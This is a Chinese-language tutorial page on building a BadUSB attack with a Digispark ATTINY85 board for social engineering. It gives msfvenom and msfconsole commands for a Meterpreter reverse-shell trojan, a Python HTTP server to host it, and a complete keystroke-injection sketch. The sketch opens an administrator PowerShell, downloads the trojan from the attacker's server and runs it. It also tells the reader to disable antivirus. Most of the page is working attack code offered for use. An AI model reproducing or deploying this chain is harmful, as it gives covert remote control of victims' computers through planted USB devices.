C41-社会工程学BadUSB刻录流程

【汇总】刻录BadUSB问题
https://wiki.bafangwy.com/doc/580/

# 开发板购买
在淘宝搜“Digispark”，型号是ATTINY85，10块钱左右。
（注意，不同的产品，支持的脚本不同，所以要买对应的）

![](/media/202310/2023-10-10_105845_4474290.8214879945761504.png)

# 刻录参考文章
https://blog.csdn.net/QQ670663/article/details/125362082

![](/media/202403/2024-03-30_152205_5653920.8356982103945059.png)

# MSF木马制作
``msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.142.162 LPORT=4444 -f exe -o usb.exe``

# MSF监听端口
``msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set lhost 192.168.142.162;set lport 4444;run"``

# Kali启动HTTP服务
启动HTTP服务：
``python -m SimpleHTTPServer 8000``

木马下载地址：
``http://X.X.X.X:8000/usb.exe``

换成你自己的MSF木马文件，用Python或者Apache提供HTTP下载。
必须要关掉杀毒软件。

# 最终成功脚本
```
#include "DigiKeyboard.h"
#define MOD_SHIFT_LEFT      0x02
void setup() {
  DigiKeyboard.delay(1000);//延时1秒
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//按下win+r键
  DigiKeyboard.delay(1000);
  DigiKeyboard.println("cmd");//输入"cmd"并确认
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(0,MOD_SHIFT_LEFT); 
  DigiKeyboard.delay(1000);
  DigiKeyboard.println("powershell.exe -command start-process powershell -verb runAs");//以管理员身份运行powershell
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(0,MOD_SHIFT_LEFT); 
  DigiKeyboard.delay(500);
  DigiKeyboard.println("$p = New-Object System.Net.WebClient");
  DigiKeyboard.delay(500);
  DigiKeyboard.println("$p.DownloadFile('http://X.X.X.X:8000/usb.exe','D:\\ceshi.exe')");//从服务器上下载木马到D盘
  //DigiKeyboard.delay(500);
  DigiKeyboard.println("D:\\ceshi.exe");//启动木马
  //DigiKeyboard.delay(500);
}
void loop() {
  
}
```

# 其他学习资料
https://blog.csdn.net/weixin_40485904/article/details/113637938
https://www.cnblogs.com/k1two2/p/6707014.html

关键词：
社工、社会工程学、U盘、优盘、插入U盘中木马